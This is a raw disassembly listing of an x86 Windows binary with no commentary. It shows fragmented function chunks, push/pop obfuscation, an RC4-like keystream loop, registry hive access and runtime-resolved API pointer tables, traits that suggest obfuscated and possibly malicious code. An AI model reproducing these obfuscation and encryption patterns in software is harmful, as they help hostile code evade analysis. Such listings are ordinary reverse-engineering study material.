		lea	edx, [ebp+var_4034]
		push	edx
		lea	ecx, [ebp+var_4044]
		push	ecx
		add	eax, 0FFFFFFFEh
		push	eax
		lea	ecx, [ebp+var_201E]
		lea	edx, [ebp+var_4022]
		call	sub_9B3864
		push	[ebp+var_404C]
		pop	eax
		and	eax, eax
		jz	loc_9AB89C
		jmp	loc_9ABDA0
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ADAC4	proc near		; DATA XREF: .text:off_9B9F6Ao

; FUNCTION CHUNK AT 009AAEC8 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009AAF9C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AB414 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009AB8E0 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009ABE30 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ABFB4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AD37C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AD454 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD4EB SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009AD64C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009ADCDC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009AE20C SIZE 00000047 BYTES
; FUNCTION CHUNK AT 009AE6A8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009AF35C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 009AF9F4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AF9FC SIZE 00000039 BYTES
; FUNCTION CHUNK AT 009AFD94 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B0BC0 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009B1BF8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B2224 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B296C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B2AF8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B2DA0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B3110 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B326C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B3334 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B42D8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B4CB0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B4EB8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5E5C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B6318 SIZE 00000024 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8F2D
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	dword ptr [ebp+8]
		pop	edi
		mov	[ebp-54h], edi
		sub	esi, esi
		mov	eax, [edi+0Ch]
		mov	[ebp-50h], eax
		mov	si, [edi+10h]
		sub	eax, eax
		jmp	loc_9AE20C
sub_9ADAC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_9ADB10	proc near		; CODE XREF: sub_9B27D8-31FBj

; FUNCTION CHUNK AT 009B0170 SIZE 00000037 BYTES

		push	ebx
		pop	edi
		dec	edi


loc_9ADB13:				; CODE XREF: sub_9ADB10+9j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_9ADB13
		jmp	loc_9B0170
sub_9ADB10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9ADB20:				; CODE XREF: sub_9AFF64+132Cj
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	edx, [ebp+var_120]
		push	edx
		push	80000002h
		pop	edx
		push	dword_9BBE3C
		pop	ecx
		call	sub_9B3A74
		push	eax
		pop	esi
		mov	[ebp+var_230], esi
		lea	eax, [ebp+var_224]
		push	eax
		push	8
		push	dword_9BBD28
		pop	ecx
		push	ecx
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	edx, [ebp+var_120]
		push	edx
		push	80000001h
		pop	edx
		push	dword_9BBE3C
		pop	ecx
		call	sub_9B3A74
		cmp	esi, edi
		mov	[ebp+var_22C], eax
		jnz	loc_9ACBD4
		jmp	loc_9B3DF0
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9ADB90:				; CODE XREF: sub_9B1A08-5674j
					; DATA XREF: .text:off_9B9785o
		push	1
		pop	eax
		jmp	loc_9B351E
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9ADB98:				; CODE XREF: sub_9B4950-1FECj
					; DATA XREF: .text:off_9B9E9Fo
		lea	eax, [ecx+ecx*4]
		shl	eax, 3
		cmp	dword_9BEC1C[eax], ebx
		jz	loc_9B3BE0
		jmp	off_9B9CF7
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9ADBB0:				; CODE XREF: sub_9B3EFC+25j
					; DATA XREF: .text:off_9B974Bo
		mov	ecx, eax
		and	ecx, 0FF000000h
		jz	loc_9AD6E0
		jmp	off_9BAA3E
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9ADBC4:				; CODE XREF: sub_9AF25C-387Dj
					; DATA XREF: .text:off_9BAAA9o
		cmp	edi, ebx
		jbe	loc_9B5344
		jmp	loc_9B46B4
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4BF8


loc_9ADBD4:				; CODE XREF: sub_9B4BF8+Cj
		sub	eax, edx
		push	eax
		push	ebx
		mov	eax, esi
		call	sub_9B5100
		lea	edx, [ebp+8]
		push	edx
		push	4
		pop	edi
		call	sub_9AC6A0
		push	off_9B9EF1
		call	sub_9AC6A0
		add	esp, 10h
; END OF FUNCTION CHUNK	FOR sub_9B4BF8
; START	OF FUNCTION CHUNK FOR sub_9ABC20


loc_9ADBF9:				; CODE XREF: sub_9ABC20+9EA4j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_9B1E69
; END OF FUNCTION CHUNK	FOR sub_9ABC20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ADC08:				; CODE XREF: sub_9AB1A0-183j
					; DATA XREF: .text:off_9BA168o
		lea	eax, [esi+esi*4]
		shl	eax, 3
		push	dword_9BEC1C[eax]
		pop	ecx
		test	ecx, ecx
		jz	loc_9ACCA6
		jmp	off_9B9F5E
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACA48


loc_9ADC24:				; CODE XREF: sub_9ACA48+A9j
					; DATA XREF: .text:off_9B8D6Do
		mov	dword ptr [ebp-404Ch], 0


loc_9ADC2E:				; CODE XREF: sub_9B19D8+1AD0j
		cmp	dword ptr [ebp-404Ch], 7D0h
		jge	loc_9B5E0C
		jmp	loc_9B109C
; END OF FUNCTION CHUNK	FOR sub_9ACA48
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ADC44:				; CODE XREF: sub_9B0930-48B5j
		push	off_9B9224
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx+14h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+14h]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B245C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ADC78:				; CODE XREF: sub_9B63D8-7C0Cj
					; DATA XREF: .text:off_9B9A8Bo
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		call	dword ptr [ecx+30h]
		sub	eax, [ebp-214Ch]
		push	dword ptr [ebp-2140h]
		pop	ecx
		mov	[ecx], eax
		jnz	loc_9AF306
		jmp	off_9BAED1
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9ADCA0:				; CODE XREF: sub_9B1A08-3C6Dj
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B4C4A
		jmp	loc_9B4C3C
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ADCB0:				; CODE XREF: sub_9AB1A0+5389j
		mov	esi, dword_9BEC30[esi]
		cmp	esi, 0FEFFFFFFh
		jz	loc_9B2911
		jmp	off_9B97B9
; ---------------------------------------------------------------------------


loc_9ADCC8:				; CODE XREF: sub_9AB1A0+A73Ej
					; DATA XREF: .text:off_9B92AAo
		mov	eax, dword_9BEBD0
		or	eax, eax
		jle	loc_9B5B2C
		jmp	off_9BA3F8
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9ADCDC:				; CODE XREF: sub_9ADAC4-268Cj
					; sub_9ADAC4+71FEj ...
		mov	esi, [ebp-4Ch]


loc_9ADCDF:				; CODE XREF: sub_9ADAC4+57ABj
		or	ebx, ebx
		jz	loc_9B0BD3
		jmp	loc_9AD37C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4

; =============== S U B	R O U T	I N E =======================================



sub_9ADCEC	proc near		; CODE XREF: sub_9B2F1C-4891p

; FUNCTION CHUNK AT 009AB4EC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AB870 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009ACE2C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009AE3D3 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009AEB4C SIZE 00000008 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BA154
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, dword_9BCB74
		push	ecx
		pop	ebx
		push	dword ptr [eax]
		pop	ecx
		push	off_9B94D7
		call	dword ptr [ecx+18h]
		mov	dword ptr [ebp-4], 0
		push	off_9B88FC
		pop	esi
		push	ebx
		pop	edi
		push	6
		pop	ecx
		rep movsd
		movsw
		push	dword_9BEBD4
		pop	eax
		jmp	loc_9AB4EC
sub_9ADCEC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9ADD4C:				; CODE XREF: sub_9B1A08+3A44j
					; DATA XREF: .text:off_9BB09Bo
		lea	eax, [ebp+var_404C]
		xor	edi, edi
		mov	esi, [ebp+var_41E4]
		call	sub_9AC128
		lea	edx, [ebp+var_402C]
		push	edx
		lea	eax, [ebp+var_41F8]
		push	eax
		lea	ecx, [ebp+var_201C]
		push	ecx
		push	esi
		push	11h
		push	[ebp+var_41EC]
		pop	edx
		push	edx
		lea	eax, [ebp+var_404C]
		push	eax
		jmp	off_9B99F2
; ---------------------------------------------------------------------------


loc_9ADD8C:				; CODE XREF: sub_9B1A08-2B09j
					; sub_9B1A08+A9j ...
		push	[ebp+var_41E4]
		pop	eax
		or	eax, eax
		jz	loc_9B4C4A
		jmp	loc_9ADCA0
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_9ADDA4	proc near		; CODE XREF: sub_9ACEE8+409Ep

; FUNCTION CHUNK AT 009AC55C SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009AC9C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009ACB7C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ACC20 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AE030 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AE473 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AE71C SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009AE8A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AED3C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AF1E0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AF238 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AF4E8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B0E64 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B1390 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B1C08 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 009B2210 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B2260 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B2BE4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B30C8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5468 SIZE 00000017 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B922E
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-18h], esp
		sub	ecx, ecx
		mov	[ebp-4], edi


loc_9ADDD8:				; CODE XREF: sub_9ADDA4+1750j
		mov	[ebp-1Ch], ecx
		cmp	ecx, 93h
		jnb	loc_9B30C8
		jmp	loc_9ACB7C
sub_9ADDA4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9ADDEC:				; CODE XREF: sub_9B1F68+3F85j
		lea	eax, [edx+edx*2]
		shl	eax, 2
		mov	ecx, [eax+ebp-248h]
		test	ecx, ecx
		jnz	loc_9B1480
		jmp	off_9BA7C5
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9ADE10:				; CODE XREF: sub_9AC32C+7E03j
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		lea	eax, [esp+324h+var_208]
		push	eax
		push	esi
		call	dword ptr [edx+58h]
		test	eax, eax
		jz	loc_9AEF93
		jmp	off_9B9F0F
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9ADE34:				; CODE XREF: sub_9B1D80-249Fj
		mov	ecx, [edi+4]
		call	sub_9B0FD0
		jmp	loc_9B1D5B
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9ADE44	proc near		; CODE XREF: sub_9B2C30+Ej

; FUNCTION CHUNK AT 009B6038 SIZE 00000001 BYTES

		push	ebx


loc_9ADE45:				; CODE XREF: sub_9ADE44+49j
		mov	cl, [eax]
		mov	bl, [eax+1]
		inc	cl
		mov	[eax], cl
		movzx	ecx, cl
		mov	dl, [eax+ecx+2]
		add	bl, dl
		lea	ecx, [eax+ecx+2]
		mov	dl, bl
		mov	[eax+1], bl
		mov	bl, [ecx]
		movzx	edx, dl
		mov	dl, [eax+edx+2]
		mov	[ecx], dl
		movzx	ecx, byte ptr [eax+1]
		mov	[eax+ecx+2], bl
		movzx	ecx, byte ptr [eax]
		movzx	edx, byte ptr [eax+1]
		mov	dl, [eax+edx+2]
		add	dl, [eax+ecx+2]
		movzx	ecx, dl
		mov	dl, [eax+ecx+2]
		mov	[esi], dl
		inc	esi
		dec	edi
		jnz	short loc_9ADE45
		jmp	loc_9B6038
sub_9ADE44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ADE94:				; CODE XREF: sub_9B63D8-A9BCj
		mov	eax, [ebp-2124h]
		add	eax, 0FFFFFFFCh
		cmp	edx, eax
		jge	loc_9AF944
		jmp	loc_9B5B20
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9ADEAC:				; CODE XREF: sub_9B0930+358Dj
		push	off_9B9717
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+50h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+50h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B51EC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9ADEE0:				; CODE XREF: sub_9B3864+2C32j
					; DATA XREF: .text:off_9B98A3o
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_2028]
		add	ebx, eax
		push	ebx
		mov	ecx, [ebp+var_2064]
		push	ecx
		jmp	loc_9B3D77
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9ADF00:				; CODE XREF: sub_9ABD30+188Fj
					; DATA XREF: .text:off_9B998Eo
		movzx	eax, word ptr [ebp+0]
		and	eax, eax
		jz	loc_9B591C
		jmp	off_9B9797
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9ADF17:				; CODE XREF: sub_9AFC28-448Aj
					; sub_9AFC28-111Bj ...
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9ADF3C:				; CODE XREF: sub_9B63D8+A7j
					; DATA XREF: .text:off_9BAE41o
		cmp	word ptr [esi+8], 2
		jnz	loc_9AF944
		jmp	off_9BA8E0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9ADF50:				; CODE XREF: sub_9B3EFC-5495j
					; DATA XREF: .text:off_9B87BFo
		cmp	eax, 5958C0h
		jz	loc_9AD6E0
		jmp	off_9BAB6E
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B19D8


loc_9ADF64:				; CODE XREF: sub_9B19D8+2Aj
		mov	eax, [ebp-405Ch]
		test	eax, eax
		jz	loc_9B5E0C
		jmp	off_9B920B
; END OF FUNCTION CHUNK	FOR sub_9B19D8
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3618


loc_9ADF7B:				; CODE XREF: sub_9B3618+4Cj
		mov	[ebp+var_4], 0FFFFFFFFh
		movsx	eax, [ebp+var_19]
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3618
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9ADF98:				; CODE XREF: sub_9B36E8-724Fj
		or	esi, esi
		js	loc_9ACE6D
		jmp	off_9B89CA
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB040


loc_9ADFA8:				; CODE XREF: sub_9AB040+B516j
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BAD92
		call	dword ptr [ecx+1Ch]
		mov	eax, edi
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_9AB040
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9ADFBC:				; CODE XREF: sub_9B3408+368j
					; DATA XREF: .text:off_9BA690o
		lea	ecx, [ebp-12Ch]
		call	sub_9B5480
		push	dword ptr [ebp-12Ch]
		pop	esi


loc_9ADFCE:				; CODE XREF: sub_9B3408+362j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B62E4
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9ADFDC:				; CODE XREF: sub_9AB1A0+4FCAj
		mov	ecx, dword_9BEC28[eax]
		test	ecx, ecx
		jz	loc_9ACCA6
		jmp	loc_9ACC88
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AEE5C


loc_9ADFF4:				; CODE XREF: sub_9AEE5C+Aj
					; DATA XREF: .text:off_9B9579o
		push	esi
		lea	esi, [edx+4]
		cmp	esi, 40h
		ja	loc_9B5A71
		jmp	off_9B87B0
; END OF FUNCTION CHUNK	FOR sub_9AEE5C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE008:				; CODE XREF: sub_9B1A08-231j
		mov	[ebp+var_41E0],	0
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	1388h
		call	dword ptr [eax+4]
		push	[ebp+var_41F4]
		pop	esi
		jmp	loc_9B1A92
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AE030:				; CODE XREF: sub_9ADDA4+FA6j
		xor	ebx, ebx
		xor	ecx, ecx


loc_9AE034:				; CODE XREF: sub_9ADDA4+447Aj
		mov	[ebp-28h], esi
		mov	[ebp-24h], ebx
		mov	[ebp-1Ch], ecx
		cmp	ecx, edi
		jge	loc_9B0E64
		jmp	loc_9B2210
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AE04C:				; CODE XREF: sub_9B1F68-51BDj
					; DATA XREF: .text:off_9BAB80o
		shl	esi, 2
		jmp	loc_9AC640
; ---------------------------------------------------------------------------


loc_9AE054:				; CODE XREF: sub_9B1F68-4A1j
					; DATA XREF: .text:off_9B8A0Ao
		push	dword ptr [ebp-3Ch]
		pop	eax
		dec	eax
		mov	[ebp-3Ch], eax
		mov	ecx, [ebp+eax*4-3E0h]
		mov	[ebp-44h], ecx
		push	1
		push	ebx
		call	sub_9B0E7C
		call	sub_9B46CC
		mov	[ebp-5Ch], eax
		push	eax
		lea	esi, [ebp-70h]
		push	dword ptr [ebp-44h]
		pop	eax
		call	sub_9AC250
		call	sub_9B45AC
		shl	eax, 1
		not	eax
		and	eax, 2
		xor	edx, edx
		mov	dx, [ebp+eax*4-70h]
		push	edx
		xor	eax, eax
		mov	edx, [ebp-44h]
		lea	esi, [ebp-2Ch]
		call	sub_9B1334
		mov	eax, dword_9BCB74
		push	dword ptr [eax+10h]
		pop	ecx
		push	10h
		mov	edx, esi
		push	edx
		jmp	sub_9B2C70
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B31A8


loc_9AE0B8:				; CODE XREF: sub_9B31A8-1EA7j
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	1388h
		call	dword ptr [edx+4]
		jmp	loc_9B12F1
; END OF FUNCTION CHUNK	FOR sub_9B31A8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AE0D3:				; CODE XREF: sub_9B3864-43D8j
					; sub_9B3864+539j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	[ebp+var_1C]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE0FC:				; CODE XREF: sub_9B0930-1637j
					; DATA XREF: .text:off_9B9707o
		push	off_9B9910
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+28h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+28h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BB00E
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AE134:				; CODE XREF: sub_9AB1A0+9BD8j
		lea	esi, [ebx+ebx*4]
		shl	esi, 3
		mov	eax, dword_9BEC1C[esi]
		test	eax, eax
		jz	loc_9ABD29
		jmp	off_9BA410
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE150:				; CODE XREF: sub_9B0930+1358j
		push	off_9B9747
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx+10h]
		mov	[ecx+48h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+48h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8C60
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B6264


loc_9AE18F:				; CODE XREF: sub_9B6264-590j
					; sub_9B6264+62j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-9A0h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B6264
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AE400


loc_9AE1B8:				; CODE XREF: sub_9AE400+1502j
		mov	[ebp+var_1C], 1
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	4E20h
		call	dword ptr [eax+4]
		jmp	loc_9B43AB
; END OF FUNCTION CHUNK	FOR sub_9AE400
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE1D8:				; CODE XREF: sub_9B1A08-2B0Fj
		lea	edx, [edi+ebp-41DCh]
		push	[ebp+var_41EC]
		pop	ecx
		push	ecx
		mov	ecx, [ebp+var_41E4]
		call	sub_9AB7C0
		mov	eax, [ebx]
		or	eax, eax
		jz	loc_9B59AB
		jmp	loc_9B59A0
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AE20C:				; CODE XREF: sub_9ADAC4+47j
		or	ebx, 0FFFFFFFFh
		mov	[ebp-4Ch], esi
		xor	ecx, ecx
		mov	[ebp-4], eax
		mov	[ebp-44h], ebx
		mov	[ebp-84h], eax
		mov	[ebp-80h], ecx
		mov	[ebp-7Ch], ecx
		mov	[ebp-78h], ecx
		mov	[ebp-74h], ecx
		mov	[ebp-70h], ecx
		mov	[ebp-6Ch], ecx
		mov	[ebp-68h], ecx
		mov	[ebp-64h], ecx
		mov	[ebp-60h], ecx
		push	6
		movzx	edx, si
		push	edx
		call	sub_9AE400
		and	eax, eax
		jz	loc_9B4EB8
		jmp	loc_9B42D8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE254:				; CODE XREF: sub_9B0930-2F40j
